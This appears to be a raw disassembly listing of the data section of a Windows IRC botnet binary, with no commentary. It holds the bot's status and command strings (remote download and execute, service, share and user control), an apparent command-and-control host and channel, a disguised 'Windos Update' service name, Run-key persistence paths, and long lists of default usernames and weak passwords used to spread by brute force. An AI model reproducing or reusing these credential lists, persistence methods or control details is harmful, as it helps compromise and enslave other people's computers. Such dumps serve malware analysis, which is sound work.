aAB db 'a+b',0 ; DATA XREF: sub_40C8B6+97o
dword_42D350 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40C8B6+83o
dd 2BBBB02h
aErrorUnableToW db ' Error unable to write file to disk.',0
align 10h
; char unk_42D390
unk_42D390 db 2 ; DATA XREF: sub_40CAF1+493o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aBadUrlOrDnsErr db ' Bad URL, or DNS Error: %s.',0
align 4
unk_42D3CC db 2 ; DATA XREF: sub_40CAF1+485o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUpdateFailedEr db ' Update failed: Error executing file: %s.',0
; char unk_42D414
unk_42D414 db 2 ; DATA XREF: sub_40CAF1+3C9o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDownloaded_1fk db ' Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
align 4
; char dword_42D464
dword_42D464 dd 7A026E02h, 201F6D1Fh, 776F6428h, 616F6C6Eh, 1F702E64h
; DATA XREF: sub_40CAF1+358o
dd 29671F6Ch, 0BBBB0220h, 4F202002h, 656E6570h, 25203A64h
dd 2E73h
aOpen db 'open',0 ; DATA XREF: sub_40CAF1+336o
; sub_40EE51+2B6Fo ...
align 4
; char unk_42D498
unk_42D498 db 2 ; DATA XREF: sub_40CAF1+2E1o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDownloaded_1fK db ' Downloaded %.1f KB to %s @ %.1f KB/sec.',0
align 10h
; char unk_42D4E0
unk_42D4E0 db 2 ; DATA XREF: sub_40CAF1+262o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCrcFailedDD_ db ' CRC Failed (%d != %d).',0
align 4
; char unk_42D518
unk_42D518 db 2 ; DATA XREF: sub_40CAF1+1D8o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFilesizeIsInco db ' Filesize is incorrect: (%d != %d).',0
align 4
; char unk_42D55C
unk_42D55C db 2 ; DATA XREF: sub_40CAF1+195o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUpdateSDkbTran db ' Update: %s (%dKB transferred).',0
align 4
unk_42D59C db 2 ; DATA XREF: sub_40CAF1+183o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFileDownloadSD db ' File download: %s (%dKB transferred).',0
align 4
; char unk_42D5E4
unk_42D5E4 db 2 ; DATA XREF: sub_40CAF1+77o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 64h, 6Fh, 77h
db 6Eh ; n
db 6Ch, 6Fh, 61h
db 64h ; d
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aCouldnTOpenFil db ' Couldn',27h,'t open file: %s.',0
align 4
aUnknown db 'Unknown',0 ; DATA XREF: sub_40D099:loc_40D0DCo
; sub_40DF4B+104o
aInvalid db 'Invalid',0 ; DATA XREF: sub_40D099:loc_40D0D6o
aDisk db 'Disk',0 ; DATA XREF: sub_40D099:loc_40D0D0o
align 4
aNetwork db 'Network',0 ; DATA XREF: sub_40D099:loc_40D0CAo
aCdrom db 'Cdrom',0 ; DATA XREF: sub_40D099:loc_40D0C4o
align 4
off_42D644 dd offset word_4D4152 ; DATA XREF: sub_40D099:loc_40D0BEo
; char aFailed[]
aFailed db 'failed',0 ; DATA XREF: sub_40D12A:loc_40D202o
; sub_40D245+3Bo
align 10h
; char aSkb[]
aSkb db '%sKB',0 ; DATA XREF: sub_40D12A+6Bo
align 4
; char unk_42D658
unk_42D658 db 2 ; DATA XREF: sub_40D245+8Eo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 63h, 6Fh, 72h
db 65h ; e
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSDriveSSTotalS db ' %s Drive (%s): %s total, %s free, %s available.',0
align 4
; char unk_42D6A4
unk_42D6A4 db 2 ; DATA XREF: sub_40D245+58o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 63h, 6Fh, 72h
db 65h ; e
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSDriveSFailedT db ' %s Drive (%s): Failed to stat, device not ready.',0
; char aA_0[]
aA_0 db 'A:\',0 ; DATA XREF: sub_40D317:loc_40D35Co
dword_42D6F4 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_40D4BC+A4o
dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_42D740 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_40D4BC+E3o
; ---------------------------------------------------------------------------
loc_42D75C: ; DATA XREF: sub_40D4BC+118o
mov al, 1
push edx
xchg eax, edi
retf 0D059h
; ---------------------------------------------------------------------------
db 11h
dd 0A000D5A8h, 51800DC9h, 0
dword_42D770 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
; DATA XREF: sub_40D4BC+13Fo
; char aSSS_0[]
aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40D670+58o
; char aPrivmsg[]
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40D670+16o
; sub_40EE51+620o
; char aNotice[]
aNotice db 'NOTICE',0 ; DATA XREF: sub_40D670+Fo
; sub_40EE51+62Co
align 10h
off_42D7A0 dd offset aAdd ; DATA XREF: sub_40D70B+6Dr
; sub_40DAEF+50r ...
; "Add"
off_42D7A4 dd offset aAdded ; DATA XREF: sub_40D70B+2Dr
; sub_40DAEF+82r ...
; "Added"
dword_42D7A8 dd 0 ; DATA XREF: sub_40D70B+18r
dd offset aDelete_0 ; "Delete"
dd offset aDeleted ; "Deleted"
align 8
dd offset aList_0 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_0 ; "Start"
dd offset aStarted ; "Started"
align 10h
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1, 42D814h, 42D80Ch, 2, 42D800h, 42D7F4h, 3, 746E6F43h
dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused db 'Paused',0
align 4
aPause_0 db 'Pause',0
align 4
aStopped_0 db 'Stopped',0 ; DATA XREF: UPX0:0042D7D4o
aStop_0 db 'Stop',0 ; DATA XREF: UPX0:0042D7D0o
align 4
aStarted db 'Started',0 ; DATA XREF: UPX0:0042D7C8o
aStart_0 db 'Start',0 ; DATA XREF: UPX0:0042D7C4o
align 4
aListed db 'Listed',0 ; DATA XREF: UPX0:0042D7BCo
align 4
aList_0 db 'List',0 ; DATA XREF: UPX0:0042D7B8o
align 4
aDeleted db 'Deleted',0 ; DATA XREF: UPX0:0042D7B0o
aDelete_0 db 'Delete',0 ; DATA XREF: UPX0:0042D7ACo
align 4
aAdded db 'Added',0 ; DATA XREF: UPX0:off_42D7A4o
align 4
aAdd db 'Add',0 ; DATA XREF: UPX0:off_42D7A0o
; char dword_42D868
dword_42D868 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40D70B+74o
dd 2BBBB02h
aSNoServiceSpec db ' %s: No service specified.',0
; char dword_42D89C
dword_42D89C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40D70B+55o
dd 2BBBB02h
aErrorWithServi db ' Error with service: ',27h,'%s',27h,'. %s',0
align 4
; char dword_42D8D4
dword_42D8D4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40D70B+38o
dd 2BBBB02h
aSServiceS_ db ' %s service: ',27h,'%s',27h,'.',0
; char aAnUnknownErr_0[]
aAnUnknownErr_0 db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40D834+12Co
align 4
; char aTheSystemIsShu[]
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_40D834:loc_40D94Co
align 4
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_40D834:loc_40D945o
align 4
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_40D834:loc_40D93Eo
db 'the state of the service.',0
align 4
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_40D834:loc_40D937o
align 10h
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_40D834:loc_40D930o
db ' correct access rights.',0
align 4
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_40D834:loc_40D929o
align 4
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_40D834:loc_40D922o
align 4
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_40D834:loc_40D91Bo
align 4
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_40D834:loc_40D914o
db 'marked for deletion.',0
align 10h
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_40D834:loc_40D90Do
align 4
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_40D834:loc_40D8E2o
align 4
aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_40D834:loc_40D8DBo
db ' the service.',0
align 4
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_40D834:loc_40D8D4o
db 'tServiceCtrlDispatcher.',0
align 4
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_40D834:loc_40D8CDo
align 4
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_40D834+8Fo
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_40D834:loc_40D8A2o
db 'dependent on it.',0
align 10h
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_40D834:loc_40D898o
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_40D834:loc_40D88Eo
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_40D834:loc_40D884o
align 4
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_40D834:loc_40D87Ao
align 4
aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_40D834+3Co
align 4
; char aSSS[]
aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_40D9B2+EBo
; char aStopped[]
aStopped db ' Stopped',0 ; DATA XREF: sub_40D9B2:loc_40DA7Eo
aStarting db ' Starting',0 ; DATA XREF: sub_40D9B2:loc_40DA77o
aStoping db ' Stoping',0 ; DATA XREF: sub_40D9B2:loc_40DA70o
aRunning db ' Running',0 ; DATA XREF: sub_40D9B2:loc_40DA69o
aContinuing db ' Continuing',0 ; DATA XREF: sub_40D9B2:loc_40DA62o
aPausing db ' Pausing',0 ; DATA XREF: sub_40D9B2:loc_40DA5Bo
aPaused_0 db ' Paused',0 ; DATA XREF: sub_40D9B2:loc_40DA54o
aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_40D9B2+9Bo
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_40D9B2+25o
align 4
; char dword_42DE38
dword_42DE38 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40DAEF+ABo
dd 2BBBB02h
aSNoShareSpecif db ' %s: No share specified.',0
align 4
; char dword_42DE6C
dword_42DE6C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40DAEF+89o
dd 2BBBB02h
aSShareS_ db ' %s share: ',27h,'%s',27h,'.',0
align 4
; char dword_42DE98
dword_42DE98 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40DAEF+57o
dd 2BBBB02h
aSErrorWithShar db ' %s: Error with share: ',27h,'%s',27h,'. %s',0
align 4
; char a14s24s6u4s[]
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_40DCE4+D0o
align 4
aNo db 'No',0 ; DATA XREF: sub_40DCE4+BCo
align 10h
aYes db 'Yes',0 ; DATA XREF: sub_40DCE4+B5o
; char dword_42DEF4
dword_42DEF4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40DCE4+76o
dd 2BBBB02h
aShareListError db ' Share list error: %s <%ld>',0
align 4
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_40DCE4+26o
align 4
; char dword_42DF64
dword_42DF64 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40DE05+B6o
dd 2BBBB02h
aSNoUsernameSpe db ' %s: No username specified.',0
align 4
; char dword_42DF9C
dword_42DF9C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40DE05+94o
dd 2BBBB02h
aSErrorWithUser db ' %s: Error with username: ',27h,'%s',27h,'. %s',0
; char dword_42DFD8
dword_42DFD8 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40DE05+6Do
dd 2BBBB02h
aSUsernameS_ db ' %s username: ',27h,'%s',27h,'.',0
align 4
; char dword_42E008
dword_42E008 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40DF4B+394o
dd 2BBBB02h
aUserInfoErrorL db ' User info error: <%ld>',0
align 4
; char aUnitsPerWeekD[]
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_40DF4B+36Ao
align 10h
; char aMax_StorageD[]
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_40DF4B+33Fo
align 4
; char aUserSLanguageD[]
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_40DF4B+317o
; char aCountryCodeD[]
aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_40DF4B+2ECo
align 4
; char aWorkstationsS[]
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_40DF4B+2C4o
align 10h
; char aLogonServerS[]
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_40DF4B+299o
align 4
; char aLastLogoffD[]
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_40DF4B+271o
; char aLastLogonD[]
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_40DF4B+246o
align 4
; char aNumberOfLogins[]
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_40DF4B+21Eo
align 4
; char aBadPasswordCou[]
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_40DF4B+1F3o
align 4
; char aPasswordAgeD[]
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_40DF4B+1CBo
align 4
; char aParametersS[]
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_40DF4B+1A0o
align 4
; char aHomeDirectoryS[]
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_40DF4B+178o
align 4
; char aAuthFlagsD[]
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_40DF4B+14Do
align 4
; char aPrivilegeLevel[]
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_40DF4B+125o
aGuest db 'Guest',0 ; DATA XREF: sub_40DF4B:loc_40E064o
align 4
aUser_1 db 'User',0 ; DATA XREF: sub_40DF4B:loc_40E05Do
align 10h
aAdministrator db 'Administrator',0 ; DATA XREF: sub_40DF4B:loc_40E056o
; UPX0:0042E764o ...
align 10h
; char aCommentS[]
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_40DF4B+D4o
; char aUserCommentS[]
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_40DF4B+ACo
align 10h
; char aFullNameS[]
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_40DF4B+81o
align 10h
; char aAccountS[]
aAccountS db 'Account: %S',0 ; DATA XREF: sub_40DF4B+50o
; char aTotalUsersFoun[]
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_40E319+14Fo
align 4
; char dword_42E1D4
dword_42E1D4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40E319+F7o
dd 2BBBB02h
aAnAccessViolat db ' An access violation has occured.',0
align 10h
; char aS_2[]
aS_2 db ' %S',0 ; DATA XREF: sub_40E319+BEo
align 4
; char dword_42E218
dword_42E218 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40E319+7Ao
dd 2BBBB02h
aUserListErrorS db ' User list error: %s <%ld>',0
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_40E319+29o
; char aNetworkConnect[]
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_40E499:loc_40E5B6o
align 10h
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_40E499:loc_40E5AFo
align 4
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_40E499:loc_40E5A8o
align 4
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_40E499:loc_40E5A1o
align 4
aAnUnknownError db 'An unknown error occurred.',0 ; DATA XREF: sub_40E499:loc_40E59Ao
align 4
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_40E499:loc_40E57Do
db 'ord policy requirement.)',0
align 10h
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_40E499:loc_40E576o
align 4
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_40E499:loc_40E56Fo
align 10h
aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_40E499+CFo
db ' the domain.',0
align 10h
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_40E499:loc_40E544o
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_40E499:loc_40E53Do
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_40E499:loc_40E536o
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_40E499:loc_40E52Co
align 4
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_40E499+89o
align 10h
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_40E499:loc_40E506o
align 4
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_40E499:loc_40E4FCo
align 4
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_40E499:loc_40E4F2o
align 4
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_40E499:loc_40E4E8o
align 4
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_40E499:loc_40E4DEo
align 4
aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_40E499+3Bo
align 10h
; char dword_42E530
dword_42E530 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40E5CD+ABo
dd 2BBBB02h
aSServerSMessag db ' %s <Server: %S> <Message: %S>',0
; char dword_42E568
dword_42E568 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_40E5CD+81o
dd 2BBBB02h
aMessageSentSuc db ' Message sent successfully.',0
align 10h
dword_42E5A0 dd 1A0Bh ; DATA XREF: sub_40E68B+3A0r
; sub_40E68B+453r
dword_42E5A4 dd 1A0Bh ; DATA XREF: sub_40E68B+49Fr
dword_42E5A8 dd 30EAh ; DATA XREF: sub_40EE51:loc_414BF5r
dword_42E5AC dd 18F4h ; DATA XREF: sub_407243+3Br
; sub_40EE51+52CCr
dword_42E5B0 dd 1BB0h ; DATA XREF: sub_407243:loc_4074F2r
; sub_40EE51:loc_41420Fr
dword_42E5B4 dd 0A84h ; DATA XREF: sub_40EE51:loc_414385r
dword_42E5B8 dd 1 ; DATA XREF: sub_40EE51+662r
dword_42E5BC dd 1 ; DATA XREF: sub_40AC3D+Cr
; sub_40E68B:loc_40E9B7r
byte_42E5C0 db 2Eh ; DATA XREF: sub_40CFE3:loc_40CFEFr
; sub_40EE51+AF6r ...
align 4
dword_42E5C4 dd 6 ; DATA XREF: sub_415985+2Br
; sub_415985+51r ...
; int dword_42E5C8
dword_42E5C8 dd 4 ; DATA XREF: sub_40EB71+78r
; sub_40EE51+27Cr ...
a8652 db '8652',0
align 4
aCool db 'cool',0
align 4
aMan db 'man',0
aSym db 'sym',0
dd 0
db 2 dup(0)
byte_42E5EA db 1 ; DATA XREF: sub_40EE51:loc_413D0Cr
; sub_40EE51+4EC5o
aAsn1smb db 'asn1smb',0
align 4
dd 100h, 3 dup(0)
; char aBotid[]
aBotid db 'botid',0 ; DATA XREF: sub_40E68B+5Ao
; sub_40EE51+3E47o ...
align 4
aH4ckerTool db 'h4cker tool',0 ; DATA XREF: sub_40EE51:loc_414E0Do
; char aB0tn3trx[]
aB0tn3trx db 'b0tn3trx',0 ; DATA XREF: sub_40EE51+613Fo
; sub_40EE51+620Eo
align 4
; char aRrxx_a1s1a_net[]
aRrxx_a1s1a_net db 'rrxx.a1s1a.net',0 ; DATA XREF: sub_40E68B+38Bo
; sub_40E68B+444o
align 4
; char aSx[]
aSx db '#!sx#',0 ; DATA XREF: sub_40E68B+3ACo
; sub_40E68B+45Ao
align 4
; char aH4ck[]
aH4ck db 'h4ck',0 ; DATA XREF: sub_40E68B+3C3o
; sub_40E68B+46Co
align 4
; char byte_42E644
byte_42E644 db 72h ; DATA XREF: sub_40E68B:loc_40EB0Dr
; sub_40E68B+490o
db 72h, 2 dup(78h)
dd 7331612Eh, 6E2E6131h, 7465h
; char aSx_0[]
aSx_0 db '#!sx#',0 ; DATA XREF: sub_40E68B+4A6o
align 4
; char aH4ck_0[]
aH4ck_0 db 'h4ck',0 ; DATA XREF: sub_40E68B+4B8o
align 4
; char byte_42E664
byte_42E664 db 61h ; DATA XREF: sub_402B7B+Fo
; sub_4030DF+81o ...
db 73h, 61h, 2Eh
dd 657865h
; char aCvbei_dll[]
aCvbei_dll db 'cvbei.dll',0 ; DATA XREF: sub_4022BD+3Do
align 4
aWindosUpdate db 'Windos Update',0 ; DATA XREF: sub_40C1B0+Eo
align 4
aBot db '[bot]-',0 ; DATA XREF: sub_415985+12o
align 10h
aAsa_exe db 'asa.exe',0
aXi db '+xi',0 ; DATA XREF: sub_40EE51+6287o
; char aS_5[]
aS_5 db '#!S#',0 ; DATA XREF: sub_40EE51:loc_4120E8o
; sub_40EE51+508Bo ...
align 4
; char aS_4[]
aS_4 db '#!S#',0 ; DATA XREF: sub_40EE51+1F1Eo
align 4
; char aS_3[]
aS_3 db '#!S#',0 ; DATA XREF: sub_40EE51+1D67o
align 4
off_42E6B4 dd offset aAsa@ ; DATA XREF: sub_40EE51:loc_414FECo
; "asa@*"
off_42E6B8 dd offset aH4ckerTool_0 ; DATA XREF: sub_40EE51+8C6r
; sub_40EE51+61B7o
; "h4cker tool"
db 53h
aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion\Run',0
align 4
db 53h
aOftwareMicro_1 db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
align 4
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_415F77+28o
; sub_41629B+28o
align 4
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_415F77+D4o
; sub_41629B+D4o
align 4
dd offset aAdministrator ; "Administrator"
dd offset aAdministrato_0 ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aStaff ; "staff"
dd offset aRoot ; "root"
dd offset aComputer ; "computer"
dd offset aOwner ; "owner"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aWwwadmin ; "wwwadmin"
dd offset aGuest_0 ; "guest"
dd offset aDefault ; "default"
dd offset aDatabase ; "database"
dd offset aDba ; "dba"
dd offset aOracle ; "oracle"
dd offset aDb2 ; "db2"
align 8
dd offset byte_4397BC
dd offset byte_4397BC
dd offset aAdministrato_1 ; "ADMINISTRATOR"
dd offset aAdministrator ; "Administrator"
dd offset aAdministrato_0 ; "administrator"
dd offset aFubar ; "fubar"
dd offset aBla ; "bla"
dd offset aGuest_1 ; "GUEST"
dd offset aRoot_0 ; "ROOT"
dd offset aRoot ; "root"
dd offset aAdmin_0 ; "ADMIN"
dd offset aPassword ; "PASSWORD"
dd offset aTemp ; "TEMP"
dd offset aShare_0 ; "SHARE"
dd offset aWrite ; "WRITE"
dd offset aFull_0 ; "FULL"
dd offset aLadeda ; "ladeda"
dd offset aBoth ; "BOTH"
dd offset aRead ; "READ"
dd offset aFiles ; "FILES"
dd offset aDemo ; "DEMO"
dd offset aOwner_0 ; "OWNER"
dd offset aOwner_1 ; "Owner"
dd offset aEdu ; "edu"
dd offset aTest ; "TEST"
dd offset aAccess ; "ACCESS"
dd offset aUser_0 ; "USER"
dd offset aBackup ; "BACKUP"
dd offset aSystem_1 ; "SYSTEM"
dd offset aServer_2 ; "SERVER"
dd offset aPepsi ; "pepsi"
dd offset aLocal ; "LOCAL"
dd offset aUnix ; "unix"
dd offset aLinux ; "linux"
dd offset aChangeme ; "changeme"
dd offset aChangeme_0 ; "Changeme"
dd offset aTemp123 ; "temp123"
dd offset a1 ; "1"
dd offset a12 ; "12"
dd offset a123 ; "123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a654321 ; "654321"
dd offset a54321 ; "54321"
dd offset a111 ; "111"
dd offset a11111111 ; "11111111"
dd offset a88888888 ; "88888888"
dd offset aPass_0 ; "pass"
dd offset aPasswd ; "passwd"
dd offset aDatabase ; "database"
dd offset aAbcd ; "abcd"
dd offset aAbc123 ; "abc123"
dd offset aOracle ; "oracle"
dd offset aSybase ; "sybase"
dd offset a123qwe ; "123qwe"
dd offset aComputer ; "computer"
dd offset aInternet ; "Internet"
dd offset aSuper ; "super"
dd offset a123asd ; "123asd"
dd offset aIhavenopass ; "ihavenopass"
dd offset aGodblessyou ; "godblessyou"
dd offset aEnable ; "enable"
dd offset aXp_0 ; "xp"
dd offset a2002 ; "2002"
dd offset a2003 ; "2003"
dd offset a2600 ; "2600"
dd offset a110 ; "110"
dd offset a111111 ; "111111"
dd offset a121212 ; "121212"
dd offset a123123 ; "123123"
dd offset a1234qwer ; "1234qwer"
dd offset a123abc ; "123abc"
dd offset a007 ; "007"
dd offset aAlpha ; "alpha"
dd offset aPatrick ; "patrick"
dd offset aPat ; "pat"
dd offset aSex ; "sex"
dd offset aGod ; "god"
dd offset aFoobar ; "foobar"
dd offset aNilez ; "Nilez"
dd offset aDevil ; "devil"
dd offset aNetdevil ; "netdevil"
dd offset aNetDevil ; "net-devil"
dd offset a0wned ; "0wned"
dd offset aOwned ; "owned"
